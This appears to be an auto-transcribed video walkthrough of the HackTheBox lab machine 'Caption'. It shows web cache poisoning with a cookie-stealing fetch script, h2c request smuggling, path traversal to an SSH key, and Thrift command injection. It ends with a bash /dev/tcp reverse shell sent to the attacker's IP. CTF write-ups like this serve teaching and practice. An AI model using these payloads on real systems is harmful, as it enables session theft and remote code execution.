text: what's going on YouTube this is ipsec and today we'll be doing caption from hack the Box the main difficulty about this box is identifying the vulnerabilities because while it is web exploitation the vulnerabilities don't lie within the web code but instead the infrastructure itself the websites behind a varnish caching server and ha proxy load balancer both of which have misconfigurations the caching Server doesn't have any hashing configured so everyone gets the same cach page which means if we tamper with a a tracking cookie to poison the cash with a cross- a scripting payload anyone browsing that page will will hit our cross scripting payload and that's how we can get a admin cookie that lets us access other endpoints like logs and download which has a path traversal bug that lets us download an SSH key but ha proxy is

title: HackTheBox - Caption


text: blocking our IP address from hitting those end points however http2 allows for multiple requests in a single request which can bypass the ha proxy access list and we'll use a tool called h2c smuggle to do that and then the root step we just have to communicate with a Apache Thrift service that's written in go it has a trivial command injection vulnerability so with that being said let's jump in as always we're going to start off with an end map so- SC for default scripts SV enumerate versions - VV for double this gives us things like the TTL OA outp part all formats put in the end map directory and call it caption then the IP address of 1010 11133 this can take some time to run so I've already ran it looking at the results we have three ports open the first one being SSH on Port 22 and the

title: HackTheBox - Caption


text: banner tells us it's an auntu server we also have HTTP on Port 80 and and it's not telling us anything about the banner so I'm guessing it doesn't have like that field in the um HTTP request we can kind of see all the fields here the server responded with a 301 moved permanently zero content length and the location is caption. htb so we can go ahead and add this to a host file so let's do a pseudo VY host and then we can add 101 1133 caption. htb um save that and let's look at the last one we have port 8080 this is giving us a j session ID cookie so this is definitely web and then looking through this um maybe it's git bucket which is a um like GitHub open source type of thing um definitely kind of looks like that based upon it but let's oh there we go the title definitely is get bucket but let's take a look at the um main website first and

title: HackTheBox - Caption


text: if you don't like looking at like the http fields in end map output you can always do a curl dasi and then the IP address so 1010 11.33 you may want to put like HTTP or https right um if you run that it'll just give you the header so we can see it's moved permanently it's caption. htb so we can add this and see what the server header is which is just work Zug we also see varnish which is a caching thing we can see the age of this cache is zero and not much else right so let's just go take a look at the actual page so I'm going to go to http caption. htb and we have a login portal so the very first thing I always like doing is um looking at the page Source just to see if it leaks anything what it's built by um I don't see anything like identifying here um I don't know exactly what this is um probably just some like open source like theming thing it's probably doing that like weird cursor

title: HackTheBox - Caption


text: right uh you could also click on like walizer to see what it says it thinks it is definitely going to be flask it's got varnish um not much else right if you don't know it varnishes we'll talk about it in a little bit because there's going to be a vector there but you can always just go to like ic. rocks and then type in these things and see if I've talked about it before um we talked about it and forgot but anyways um looking at get bucket there are two different um repositories there's this caption portal and log service so if we go to caption portal it is a portal to manage all your devices in a single place and we go to app it looks like it's just got like the static stuff like index.html this doesn't look like the um uh flask application so if we go to config we can see the various config so

title: HackTheBox - Caption


text: we got ha proxy service and varnish we look at AJ proxy it's got the config here we look at the service files maybe we should just pull this look at it on our box instead of in Firefox I'm not sure um let's see so looking at the config here we can see the Haj proxy is going to bind to Port 80 so I'm going to do some notes real quick so we have Port 80 I'm going to say ha proxy and where does this go to so looking at it it's going to send things to Port 60 81 so Haj proxy if you don't know is just like a high availability proxy um so you could have like multiple web servers running if you take one offline then Haj proxy won't route request to that one web server so you can update it and keep your website up and running it's also good just for like balancing load and doing things like that um we

title: HackTheBox - Caption


text: also see they have a ACL restriction in place for SL logs and SL download so we'll probably look at that in a little bit it's just something to take um note on so ha proxy blocks logs and downloads okay let's look at the service file so right now the main thing I'm looking for is where is AJ proxy sending the traffic to it's on Port 6081 so we just want to see what listens on that and looking at the varnish do service file we can see it listens on 6081 I forget what a stands for but this is the bind address and I want to say this is the administrative address so if you wanted to go to like the varnish administrative um service that would be on Port 6082 we could test if this is open so nc- zv 1010 11. 33 what I say it was 6082 and connection refused so we can't connect to Varnish directly we see varnish is listening on Port

title: HackTheBox - Caption


text: 6081 if we go back to our notes we can say varnish 6081 and let's see the next thing we have to find is where vernish is sending it to if we look at the vernish config I don't know maybe language um it's going to send everything to Port 8000 and there is no um Logic on how it's hashing each page so the cache is going to be the same for every user normally on like the vcl receive I think this is where you put like the what you want to be hashed and that make it unique to each user so when a page goes to Varnish it would take like the user agent The Cookie of the um user and then cash it for that right and that way anytime the user requests the page again it's going to give them their cash if you don't do any targeting on the cash to the user then other users will be able to get the other users cash and

title: HackTheBox - Caption


text: that becomes like a cash deception attack I think it's called but again I would highly recommend going to ic.

title: HackTheBox - Caption


text: rocks searching for varnish and then looking at this video because I go in depth to talk about the whole attack so um definitely that is something to be interested in we can add this to the notes so we can say um vernish has no hash rules same cash for all okay and that is going to be pointed to Port 8000 which I'm going to guess is the flask server since that's the default port and we don't have any other um Technologies in play here so the other thing we could look for is the commits we could look at old commit to see um what there is so we have a ha proxy bypass right here um let's see I did not click the right thing to see what they changed so right here they added um a multipath regular expression so it's denying if there's multiple slashes so what I'm guessing here is because this ACL restricted page has the path begins EUR

title: HackTheBox - Caption


text: de code logs um maybe at one time like the uh multi slash thing if you did like SL SL logs then would be a bypass because it's just looking for SL logs and you give it SL SL logs which is kind of the same thing right so um now it's probably what that commit there is there for let's look at the other commands um we add vernish config we add config files looking when config files are added is always good because sometimes people add a sensitive config the first time and then go in um and fix it later right so backend config here and we have credentials so the front end um it was denying any HTTP request unless they were an authenticated user and we have Margo and this password so let's go ahead and add this to um the creds file so we do vs. text Margo and put that password in and we can try logging in to um cap with this right if we to the L portal we do

title: HackTheBox - Caption


text: Margo and put in this password and it lets us log in awesome so here we are looking at the portal um if we click on firewalls we can see services are undergoing maintenance so nothing is accessible here if I go to logs we get that forbidden and um remember if we go back to the notes uh ha proxy is blocking this logs so my very first thing is um maybe the like flask application doesn't have any authentication here it's just the front end blocking us or whatever you want to call um the technology so it's AJ proxy so my first thought is let's send this over to burp suite and then I'm going to intercept is on we can refresh this send it to the repeater Tab and I'm going to add a capital A here so I can quickly find this in the hex output so that's going to be right here I believe yep and I'm going to change

title: HackTheBox - Caption


text: this to a09 but we can leave this as a we get the um not found right and I'm going to change it to 09 to see if we can access it we get forbidden and the reason why I thought of doing this is because it's a python web application it's using work Zug and work Zug always does r strip on all the fields right so um this is common in like engine X configurations let's see I say common it's not really um a common thing but I talk about this attack a lot more and let's see um this video Skyfall so if you want to know more about this attack I definitely recommend going to the Skyfall video but essentially we have the HTTP request so it's this right um I think that's the line and applications would call a split on Whit space so they get the verb then they get the path and then they get the protocol right so we

title: HackTheBox - Caption


text: added a back SLX um 09 which is like a carriage return and now when the Hope was when ha proxy sees this it grabs this says okay this isn't on the um matching list so I'm going to allow it and then when flas gets it works it calls R strip on the path and then that will remove that and when it goes to routing logic it gets to logs but this didn't work so um we can move on I definitely recommend watching Skyfall if you want to know more of the attack it's pretty cool um the other thing we could potentially do is something called h2c smuggling so let's test that out real quick and we'll get a python application and then I'll go over it once we run it right and essentially what we do is we'll um start a HTTP request and say we want to upgrade to http 2 and then when we're in http2 we can make a

title: HackTheBox - Caption


text: we can make multiple page requests in one session and a lot of the proxies will only watch the first request so we make it to slome and then in that same session we say okay also give us SL logs and then it allows us so that's what this whole h2c smuggling is it'll probably make more sense once we run it once and look at it in wire shark so let's do a Python 3 h2c smuggle uh we provide a server to smuggle so we'll do uh caption. htb I think there's a D- test flag to test if it works and it says it does so let's now go to http caption. HTP logs and it's requesting SL logs and looks like it is hanging which is weird did I typo that caption. htb logs okay it gave the redirect um let's see and it may be redirecting us cuz we're not logged in so let's do a header and then specify the cookie and the cookie is going to be

title: HackTheBox - Caption


text: session and let's look at what our cookies are for logged in user I'm going to go to the storage tab get session copy this paste it and I need a equals so we need to do session is equal to that okay and and we still get an error um but our um location changed we have a roll error now if we did it without that cookie we just had a location slash so here we're saying our user is not authenticated so we have a bypass here we've definitely validated we can hit this log's end point but our user also is not good so if we go back to our notes let's see um I did not take well we have the furnish so um if we can do any type of hash deception attack we may be able to um redirect the users browser back to us and then steal the cookie or hit this end point right so now my thought is let's look at the cookie configuration and we see session is not set to http

title: HackTheBox - Caption


text: only so this should be really easy to steal if we can get some JavaScript running on another user's browser so this is where we're going to start looking at varnish and I don't know why I'm not logged in let's do Margo and what is that password that's why I have this RS so we can copy this and log in quickly and JavaScript changing the mouse is super annoying so let's see I'm going to intercept this uh we have to turn it on here there we go okay so if we look at this the age is all zero on home so that means we're not caching the homeage we look at firewalls um is it firewall 44 not found I have one L there we go so firewalls we have an age on this cache so the page is just being cached to us and again we're going under the assumption that the rules we saw on GitHub were good and wasn't anything hashing it to make it unique per user

title: HackTheBox - Caption


text: right so this is just going to be a complete cach thing a lot of times when you do caching you'll take like the session cookie in so this hash deception attack does not work so um I'm going to play with it on slome because we don't have anything caching right if we did it on um the firewall endpoint we'd have to like look at the page consistent like every minute or two minutes to always get the fresh version and that's not fun so looking at this one thing is sticking out we have this URL internal proxy local and we see it reference multiple times and it's UTM I forget exactly what UTM stands for I want to say like Universal tracking method it's definitely a tracking thing a lot of like um websites use it to um track where you're coming from on the web so my very first thought is let's set up a search I'm going to do search for Please

title: HackTheBox - Caption


text: Subscribe I'm going to try to change what internal proxy is set to so I'm going to aut scroll on Match and I'm going to do a argument first so we can do UTM source is equal to Please Subscribe and no highlights let's try UTM is equal to Please Subscribe nothing um normally these session cookies are done or these UTM things are normally done in cookies and it's not setting it so I don't think it's there um my thought is maybe the proxy is setting this so the website knows it's going through the proxy I don't see it in like the ha proxy config but if it was it would probably use like an X forward header so we can do X forward is it X forward or X forwarded um let's see X forward headers HP I have to turn intercept off X fored okay so let's do please subscribe nothing there we do Post there's like exported four exported IP exported host there's four headers right

title: HackTheBox - Caption


text: we can see the exported host allows us to change this so now I want to see if I can put some type of um JavaScript here so I'm closing out the um script so we can then write a new one so let's do a script like this and and then I'm going to just say fetch HTP 101048 and we'll add the um cookies I think it's a to B to base 64 it may be B to a I always get those two um confused so we'll do SL script here and then I'll do a open quote just to close this last thing out right so now if I send this we can see what it looks like so loading this script which will error out then we have a new one that should send a cookie to us we close that script out and we have a extra SL script so let's do like that and there we go all the HTML is I think valid I don't know if that's valid or not but it shouldn't cause an issue so this should be good so

title: HackTheBox - Caption


text: let's do pseudo nvn p on 80 so we're going to listen on that and I'm going to test this on myself right so let's go to the homepage we can refresh this uh we need to set the proxy on and we're going to add our header we for the request and then hopefully I see multiple come back um it just kind of froze do we have like bad HTML and it just broke the whole thinged four going to get rid of that script that shouldn't matter for that okay we go to console tab um string contains an invalid character so something is wrong I wonder if it's this A to B thing we go here uh b2a document.cookie there we go it's B to a Not A to B that's probably what C the issue and I don't think we want that open script that should be fine let's test this again and this is why we always test against our own browser because we can easily see those types of error messages

title: HackTheBox - Caption


text: right past this forward and we get multiple requests back it's trying to send us our own cookie right and this is what we want to see so there we go we have a cookie here so let's go ahead and test this against another page right um I'm going to test it against the firewall page and the reason why I'm doing that is because we saw the age actually went up here right so if we get this and we'll want to intercept it so let's turn intercept on refresh and then I'm going to send it in my repeater we will pH a cookie here and the age is 13 so we did not um cach it right we want to keep hitting this until we see the age reset to zero and then the UTM Source get set back to us and it's probably going to be like 30 or 60 seconds it's probably a minute if it's not here so yeah it's probably going to

title: HackTheBox - Caption


text: be another 30 seconds so once we do this then we could remove the exported host and the UTM Source will still point back to us because it's a cache page right we got another 15 seconds to wait until this comes and then hopefully when someone browses that firewall page then we'll get it over in this window we'll get their cookie and maybe there will be a rooll where we can then use that h2c smuggling attack in order to um access what's on the logs page and this cash is still there so I'm going to probably pause the video and we'll wait for um 2 minutes to hit okay I think it's probably been about 2 minutes let's hit this again and there we go age is zero and it now says Please Subscribe here but if we scroll down we can see our stuff right we don't have a hit yet but I'm going to make a request

title: HackTheBox - Caption


text: without that and we still see the page is reflecting that again because the whole age thing here right so this is definitely going to be cast right now and we just have to wait to see if anyone is hitting that firewalls page we could also let's see um was there anything else that was blocked it was firewall we could maybe do routers is doing the same thing as firewall the logs page is blocked there is also um download but we can't hit that so I don't think that would do any good for us we do have a request come in so the first thing I want to do is on b64 encode this and then we're going to see if this is a different user so let's do Echo B 64- D um we can put this on a new line to make it a bit easier this is going to be a JWT and there b 64 period B 64 period Bas 64 so it's probably going to be the middle parameter and if we look the user is

title: HackTheBox - Caption


text: admin so we have successfully stolen a admin cookie so let's go ahead and put this as our session so let's go to our browser we can go over to the storage tab cookies session paste this in and now we're logged in as admin we can turn intercept off we're still seeing our nasty caching right if we go to home we can go over to logs and and it's still forbidden but we can go back to our smuggling thing the h2c smuggle so let's try that um we'll just run it again because I don't know all the flags so we do h2c smuggle HTTP caption. htb and then z-x first um yes so we can do-x then the page we want to hit so we'll do caption. htb log as it logs and then we'll set the header so we'll do cookie session is equal to this and there we go we have hit the logs page and we can see um the download URL and SSH logs firew War log zek logs but before we move on real quick I realized I did say we'd look at it in

title: HackTheBox - Caption


text: wire shark and they never did so let's look at what this is doing in wire shark so hopefully you can understand the whole h2c smuggle right okay we can stop intercepting so the very first thing we do is we make a get request to slash right and our git request is going to have us upgrade to http2 which is going to be um more of a binary protocol so we're not making the same request every time it saves a lot of overhead because every future request we make in this HTTP 2 tunnel we don't have to include every header right so we say we want to upgrade the server says yes you are upgraded and now here we're sending a new header oh that's probably the original request right where is so 10 10 148 where is it going to be settings okay right here so this is all related to the first one but here we're saying okay we're going to update the header on get logs and because we're

title: HackTheBox - Caption


text: in this um binary protocol it's not the very first request then the varnish config isn't stopping us right this um where is it or not vernish the ha proxy I kept saying vernish but it's actually ha proxy here this is only monitoring http1 or the very like first request so we start the request on home then we upgrade to a tunnel and that's going to um cause ha proxy to no longer monitor any of this stuff and now that we have that tunnel and ha proxy is not looking at us then we say hey now go grab logs so that's what the smle does um we could probably follow htb2 stream you can see it so here it is setting the method get and this is just path um SL logs right but it's a bit more efficient to do it this way in the tunnel that's why hp2 is thing because you're not resending all the headers you treat it as one big request there's no like IO of opening the socket again but in this

title: HackTheBox - Caption


text: case the F wall isn't monitoring that so um that is the smuggle so let's look at the um logs so we can do this download on SSH logs and let's go here instead of logs we hit the page download and let's see and this doesn't look just like SSH logs this is probably just like the messages or Cy log of the Box because we see Kon we see sshd we see everything right um what I'm more interested in is users so let's just grab all this data and we're only going to get SSH stuff and we can filter based upon that so let's go here that's V SSH logs paste and I'm going to grap - I SSH onsh logs and then let's see if we do g-i accept we see accepted password for root we have Margo here we also have a public key for Margo and it's ecdsa so that's a somewhat unique um SSH key which will come into play later this is just a hint

title: HackTheBox - Caption


text: later um we'll show multiple H at ecdsa is in use but um yeah let's go what I'm looking for here is failed password so if I g-i fail I'm just seeing if there's maybe like any type of username that he put a password in for instead um don't see that so that is logs we could go through each of those but I think sh logs is the only thing that had something minorly beneficial we just do a get on slash to try to see what this port is the port what is it 3923 let's see does this give us anything requesting downloads varnish we don't really know much but we have this CPR and we also have Port 3923 so if we Google Port 3923 um CPR maybe we can identify what this is uh potentially copy party and there's a directory traversal right here and it says um it's a file server which makes sense um based upon this there

title: HackTheBox - Caption


text: detecting the CPR folder and if we do percent to F there's a directory to veral so let's look at this real quick so it shows we do percent 2 F and then we can do like Etsy uh percent do they do yep perent to F logs and we don't get oh not logs um pass WD I don't know why I thought logs we go but we still don't get the past WD file and what could be happening here is um we have two slash on download that does not appear to affect us okay um we may need to double URL encode this because this is going to um the download URL and if flask is doing a URL decode here then when it does the second request it still has to be encoded right so I'm going to add a 252f and percent 25 is percent encoded right so what we're doing is double URL encoding so slash is 2f right and what we're doing is a 25 which is percent so when it decodes this

title: HackTheBox - Caption


text: percent 25 it's left with a percent and then we got percent 2f on the second request and let still let's see oh we need the CPR CPR there we go we can get rid of the double URL in code real quick to see if we actually needed that we do so again we need that just because we're doing a server side request forgery along with this attack right it's being decoded once as part of that so this next step is somewhat hard to spot right normally when we have server side request forgery the first thing we do is go for um the what is it proc self environment file to find out exactly who we are but we don't have access to that file and before I do that I'm just going to show real quick that we only need the percent 252f on the very first slash and it still works so this is going to make it a little bit easier just for us to read because my eyes when I see

title: HackTheBox - Caption


text: percent 252f it doesn't translate that the slash well I like just doing it this way because it makes this much easier to read right otherwise it would be percent 25 where you see that slash so we try to access the environment file we don't get anything and if we got a 404 like if this file doesn't exist we get the page back back so we know the page exist but we're not getting anything um I also thought maybe we have to add the range header so we can do range bytes is equal to 1 through 24 I want to say that's how you use the range header um and we don't sometimes with like accessing these files if you do the range and have it in the request it just magically works but here I could never access the environment file which sucks because the next step is is figuring out you're running as one of the users on the box and getting an SSH key so we could just

title: HackTheBox - Caption


text: guess right so we could do home Ruth and then let's see bash RC because that's going to be a default file in the directory we don't get anything we do home Margo bash RC we get the bash RC file so we can go inside of Margo's home directory we could try SSH right and then ID are a say for like the private key we don't have anything there and this is what saying they used what is it ecdsa which is slightly um unique um if we looked at the authorized Keys we'll also see that as well um ecdsa here so that private key file I think is just idore ecdsa there we go and we have the private key so we can grab this key and then try sshing as Maro so let's do V margo. ecdsa I guess chod 600 then sh- I Margo at 1010 1133 and we get logged in and the first thing I always do when I get into a box that I got in through web is look for like credentials um if we do a LS we have the app directory so let's see if

title: HackTheBox - Caption


text: we go less on app .p um let's see how are we doing logins Margo okay so we have a hardcode to usernames there's no actual database Mario's password is this and admin's password is this so let's go back to um creds and we can say admin that we can close out a wire shark we don't need that anymore um um we could try a pseudo- l password for Margo we can see does this work it probably does not nope try this password and no we don't have Margo's password we could also just try the super easy Su to see if that is um Root's password and it is not so that doesn't really get us anything the one thing I kind of skipped over and there beginning was this log service branch and the um GitHub and this is going to be a custom go Application we look at it we can see it's going to listen on Port 9090 and it's starting a what is this it's Apache

title: HackTheBox - Caption


text: Thrift so it's just starting an Apache Thrift service which is kind of like grpc it's just going to be a binary protocol um so if we do SS lntp GP 9090 we can see something is listening psf GP on rout Let's see we have Kon ha proxy and we are running the um server Dogo binary so it is running this as rout and if we look at it we have a exact command and it's really silly it's exacting the command Echo um if this is your go Application probably should not use like s printf just use print F here and then this will Echo itself right there's no reason to um use the ox EXA command here but I digress so let's look at this real quick normally with like these binary protocols like grpc Thrift there's probably a few others there's going to be some file here this is going to be like the protocol buffer file is

title: HackTheBox - Caption


text: what I normally call it because that's what gfpc technology is and that's what I'm more used to um it's going to say the service and then the RPC end points and the arguments right so this is going to be um the thrift file and then you can use a compiler to compile this to be whatever language you want right so Thrift probably supports like python Ruby PHP whatever so You' give it this file specify the language you want and then it would autogenerate this code for you that just shows um how to interact with this binary protocol so it kind of creates I don't know what to call exactly but um when we create the client hopefully it'll make a bit more sense so all we have to do is um make a thrift thing we make that request to read a log file and then it's going to open that log file it's going to give a few reg x's and then it's going to send it to

title: HackTheBox - Caption


text: this exact call so what we want to do is um be able to escape this exact call so we're going to give it a single quote which will escape the echo then we can give it a semicolon and then run whatever command we want so the tough thing here is um creating the client to talk Thrift right that's the challenge so let's do a get clone on this I'm in a empty repository okay that's weird weird I'm just going to download the zip service main unzip downloads log service there we go um R RF log service move okay so let's see the first thing I'm going to do and you don't have to do this is I'm going to delete the auto generated directory just to show it's autogenerated and I already have the thrift compiler installed if you do um I think it's Thrift Das compiler on parrot yep so you could if you install that package then you have the thrift binary and it can specify what language you

title: HackTheBox - Caption


text: want so I'm going to do go and then you just specify the file and it creates that gen go right we could do probably I'm going to guess python um unable to get generator for python do I just not have it installed oh it's Pi so if we wanted to use Python there we go we have the autogenerated python library right so I'm going to keep it on goinging just because that's what I'm more comfortable with nowadays and also that's what the server written in so it makes it a bit easier just to do this all and like autopilot or something like that uh the one odd thing is we don't have the go um AIT file so I'll do go mod AIT and I'm going to call this log service I guess there we go go mod tidy and then let's make sure we can run this um log service is not found let's see it's probably going to be the package name and then was is it

title: HackTheBox - Caption


text: j-go log service there we go I wonder if I should have started this with a capital letter I wonder if that matters but this looks fine um this exact I don't know how they mounted OS what is that yeah we'll keep going let's build the client so I'm going to do new folder and I'll call this um we'll do internal and then oh we'll do CMD NE to trash it really doesn't matter what you call these folders uh CMD and then new folder let's call this um rce I guess and then new file we'll call it main.go there we go package main I don't know why I did that we go and then let's do Funk Main and then we need to connect to this so let's see going connect to this socket grab this and that import okay we proba have to do a go get against this I would think let's go mod tidy already did that for us connect to Thrift

title: HackTheBox - Caption


text: server okay Port 990 is good that's good we open the transport okay so we autopilot it away all the way to get a client so now we can do client read log file and then specify what file we want to read uh what does this return um string and error so we'll do out air or I'll do a response response error like that there's nil fatal there we go and read log file would do Dev shm please subscribe. log do have to give it like a context or something yep CTX context.

title: HackTheBox - Caption


text: context uh context. background actually and I don't know exactly how to explain context if you don't know exactly what it is a lot of go things will use it um a lot of people use it for like concurrent not concurrency like um timeouts so we could say the timeout CTX is equal to context with value I guess that's doing it with a thrift way right it would be context with timeout right timeout CTX and then the duration um 10 * time do second right now we have to give it cancel probably so this would now create a context that has a 10-second timeout so in this function once 10 seconds hit it would automatically um exit is the idea right you can also put other things on this so like if using a database you can put a pointer to the database object in it so your function doesn't have to reconnect to the database you can just reuse the one out of the context and a bunch of things like that um we're not

title: HackTheBox - Caption


text: doing anything fancy with context we just say um background it right so this should connect to Port um Local Host 990 send the request read log file and it's going to read this log file on the server so what we have to do is go back to the server CD Dev shm B please I think I did a capital I don't know why I did that and we'll put test here okay so what I'm going to do is the very first thing on the line I'm going to do squiggly C which puts me in this sh prompt and we can forward Port 9090 back to us and now on my local box I have Port 9090 coming back so I'm going to go in CMD rce go run main.go and hopefully it connects to us and we'll see the response log file has been processed and looks good I guess it's not echoing back any information so what we want to do is go into this log file and I

title: HackTheBox - Caption


text: guess we could change it to something that does not exist if we do please subscribe to um no such file directory so we definitely know it's working right so we want to trigger the rce so let's go look at the server again read log file it's doing some regular Expressions IP user agent um IP we can only do digits user agent we accept anything so let's do um it's doing user agent in quotes like this and then it goes until it sees another quote and all we said we wanted to do is escape it so what this should do let's just paste this in real quick we can paste right here where their percent s is or actually the value is that going to do it we take this yeah because it's only going to take what's in the parentheses for the reg X right so we're taking this single quote is what we take so we terminate

title: HackTheBox - Caption


text: this single quote and then we can execute our own thing so that looks good um what we want to do is now create a reverse shell so I'm going to do it in base 64 so we can do Bashi Dev TCP 101048 9,10 and one like that a 64 w0 and the reason why I'm putting in in b 64 is we can avoid a lot of just bad characters if we did like the B- C b-i thing we may have to use both quotes which would break the payload um this let's just do it without quotes which just makes it easy so we can do Echo b 64- d pipe it over to bash like that I think that's good let's do NCL lvmp 901 run our client log file processed and we did not get a shell I'm going to run this command just to make sure so it does give us a shell we may have an error with or program that maybe we want to put a space after the semicolon I can't imagine that's

title: HackTheBox - Caption


text: it log file processed we don't get anything okay so let's do regx 101 and see what we're missing cuz this is going to be something probably really silly going to specify goang go back to the server we have this and I want to insert my string oh I got the shell there okay maybe it was the spaces I needed I'm just going to run this again to make sure log file processed I don't know where that shell came from that is bizer okay let's just keep going with what we were doing maybe we don't get the shell right away maybe something has to time out um insert my text yeah I think something just has to time out so I think we're good it just doesn't happen as fast as I thought it would but what I'm doing here is looking at exactly what I matched in the group and this just testing out our Theory there we go

title: HackTheBox - Caption


text: um that does look fine right we wanted to match a single quote and then semicolon and everything so I think for some reason the service just isn't instantaneous I couldn't say why but we have it there so hope you guys enjoyed the Box take care and I'll see you all next time

title: HackTheBox - Caption